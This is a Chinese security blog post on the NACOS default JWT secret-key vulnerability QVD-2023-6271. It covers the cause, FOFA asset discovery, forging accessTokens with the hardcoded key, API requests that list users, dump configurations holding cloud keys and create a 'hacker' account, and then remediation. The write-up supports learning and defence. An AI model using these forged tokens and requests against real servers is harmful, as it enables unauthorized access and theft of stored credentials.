漏洞实战(1):NACOS默认密钥漏洞QVD-2023-6271

admin 2024年3月10日12:09:12评论20 views字数 3976阅读13分15秒阅读模式
  1. 原理

  2. 危害

  3. 攻击

    1. 资产发现

    2. 漏洞利用

  4. 防御

1、原理

NACOS[1],/nɑ:kəʊs/,是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。

在 <=2.2.0<=1.4.4的版本中,NACOS的配置文件conf/application.properties存在默认密钥nacos.core.auth.plugin.nacos.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789

漏洞实战(1):NACOS默认密钥漏洞QVD-2023-6271

该密钥用于加密用户帐号,生成用户登陆后的身份令牌accessToken,类型是JWT[2](JSON Web Token)。

攻击者可以使用默认密钥和常见帐号生成身份令牌,从而绕过身份认证,直接获得NACOS的访问权限。

2、危害

攻击者获得NACOS的访问权限后,会查看NACOS管理的所有配置文件,翻找里面的帐号密码,例如云服务的AKSK、Java程序的JDBC,从而获得对应服务的访问权限。

3、攻击

3.1、资产发现

搜索资产

FOFA[3]app="NACOS"

查看版本

# 请求地址

/nacos/v1/console/server/state

# 响应示例

{"version":"2.2.0","standalone_mode":"standalone","function_mode":null}

漏洞实战(1):NACOS默认密钥漏洞QVD-2023-6271

3.2、漏洞利用

部署服务

1、下载地址:2.2.0 (Dec 14, 2022)[4]1.4.4 (Aug 8th, 2022)[5]

2、打开鉴权开关:将配置文件conf/application.properties中的 nacos.core.auth.enabled设置为on

漏洞实战(1):NACOS默认密钥漏洞QVD-2023-6271

3.1、Linux中部署:配置环境变量export JAVA_HOME=/usr/lib/jvm/java-17-openjdk-amd64、开启服务bash bin/startup.sh -m standalone、关闭服务 bash bin/shutdown.sh

漏洞实战(1):NACOS默认密钥漏洞QVD-2023-6271

3.2、Windows中部署:配置环境变量此电脑 - 属性 - 高级系统设置 - 高级 - 环境变量 – JAVA_HOME= C:Program FilesJavajdk1.8.0_361、开启服务bin/startup.cmd-m standalone、关闭服务binshutdown.cmd 

漏洞实战(1):NACOS默认密钥漏洞QVD-2023-6271

生成accessToken

生成地址:JWT官网[6]

关键参数:

1、常见帐号:例如nacos、nac0s、nacosss、nacos1、admin

2、默认密钥:SecretKey012345678901234567890123456789012345678901234567890123456789

其他参数:

3、签名算法:HS256(HMAC SHA256,JWT默认)

4、过期时间:在Linux中使用命令date +%s -d '2024-03-10 00:00:00'生成过期时间

5、是否启用Base64编码:是(NACOS建议)

漏洞实战(1):NACOS默认密钥漏洞QVD-2023-6271

漏洞实战(1):NACOS默认密钥漏洞QVD-2023-6271

查看帐号:常用于渗透测试或漏洞扫描,证明漏洞存在。

# 请求地址(GET)

/nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcxMDAwMDAwMH0.l5OewNgzUxgyFdy7aAQBNfst7FOZ9bE9cHoLd9dMX74 &pageNo=1&pageSize=9&search=accurate

# 响应示例

{"totalCount":1,"pageNumber":1,"pagesAvailable":1,"pageItems":[{"username":"nacos","password":"$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"}]}

漏洞实战(1):NACOS默认密钥漏洞QVD-2023-6271

查看配置:常用于红蓝对抗,翻找帐号密码,获取更多权限。

# 请求地址(GET)

/nacos/v1/cs/configs?dataId=&group=&appName=&config_tags=&pageNo=1&pageSize=10&tenant=&search=accurate&accessToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcxMDAwMDAwMH0.l5OewNgzUxgyFdy7aAQBNfst7FOZ9bE9cHoLd9dMX74

# 响应示例

{"totalCount":1,"pageNumber":1,"pagesAvailable":1,"pageItems":[{"id":"740458855550423040","dataId":"aliyun.yaml","group":"DEFAULT_GROUP","content":"aliyun:n access-key-id: RzRRFE5tQqsxAieELkMDLTAIn access-key-secret: 52dW2iDdPzmddUBEDlKHej5uYddK89","md5":null,"encryptedDataKey":null,"tenant":"","appName":"","type":"yaml"}]}

漏洞实战(1):NACOS默认密钥漏洞QVD-2023-6271

创建帐号,登陆后台,查看配置:同红蓝对抗场景。

# 请求地址(POST)

/nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcwOTk5MTEwOX0.h2WWx4rr9_pxbYzRe2Psrw5JDY3mKzXiUK-FhMKCkto&username=hacker&password=123456

# 响应示例

{"code":200,"message":null,"data":"create user ok!"}

漏洞实战(1):NACOS默认密钥漏洞QVD-2023-6271

漏洞实战(1):NACOS默认密钥漏洞QVD-2023-6271

4、防御

生成身份令牌accessToken需要两个关键参数:用户帐号、加密密钥。只需将默认的加密密钥修改掉,攻击者就无法伪造身份令牌,从而修复该漏洞。

以下内容参考Nacos 文档[7]中的自定义密钥部分,以及关于Nacos默认token.secret.key及server.identity风险说明及解决方案公告[8]

修改默认密钥的位置

配置文件:conf/application.properties

默认密钥:

### The default token(Base64 String):

nacos.core.auth.default.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789

### 2.1.0 版本后

nacos.core.auth.plugin.nacos.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789

修改默认密钥的注意事项

1、原始密钥长度不得低于32字符,推荐将原始密钥进行Base64编码,例如:

### 原始密钥(刚好32字符)

ThisIsMyCustomSecretKey012345678

### The default token(Base64 String):

nacos.core.auth.default.token.secret.key=VGhpc0lzTXlDdXN0b21TZWNyZXRLZXkwMTIzNDU2Nzg=

### 2.1.0 版本后

nacos.core.auth.plugin.nacos.token.secret.key=VGhpc0lzTXlDdXN0b21TZWNyZXRLZXkwMTIzNDU2Nzg=

2、鉴权开关是修改之后立马生效的,不需要重启服务端。

3、动态修改token.secret.key时,请确保token是有效的,如果修改成无效值,会导致后续无法登录,请求访问异常。

4、密钥需要保持节点间一致,长时间不一致可能导致403 invalid token错误。

参考资料

[1]

NACOS: https://nacos.io

[2]

JWT: https://www.ruanyifeng.com/blog/2018/07/json_web_token-tutorial.html

[3]

FOFA: https://fofa.info

[4]

2.2.0 (Dec 14, 2022): https://github.com/alibaba/nacos/releases/tag/2.2.0

[5]

1.4.4 (Aug 8th, 2022): https://github.com/alibaba/nacos/releases/tag/1.4.4

[6]

JWT官网: https://jwt.io

[7]

Nacos 文档: https://nacos.io/zh-cn/docs/v2/guide/user/auth.html

[8]

关于Nacos默认token.secret.key及server.identity风险说明及解决方案公告: https://nacos.io/zh-cn/blog/announcement-token-secret-key.html

原文始发于微信公众号(OneMoreThink):漏洞实战(1):NACOS默认密钥漏洞QVD-2023-6271

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月10日12:09:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   漏洞实战(1):NACOS默认密钥漏洞QVD-2023-6271http://cn-sec.com/archives/2563319.html

发表评论

匿名网友 填写信息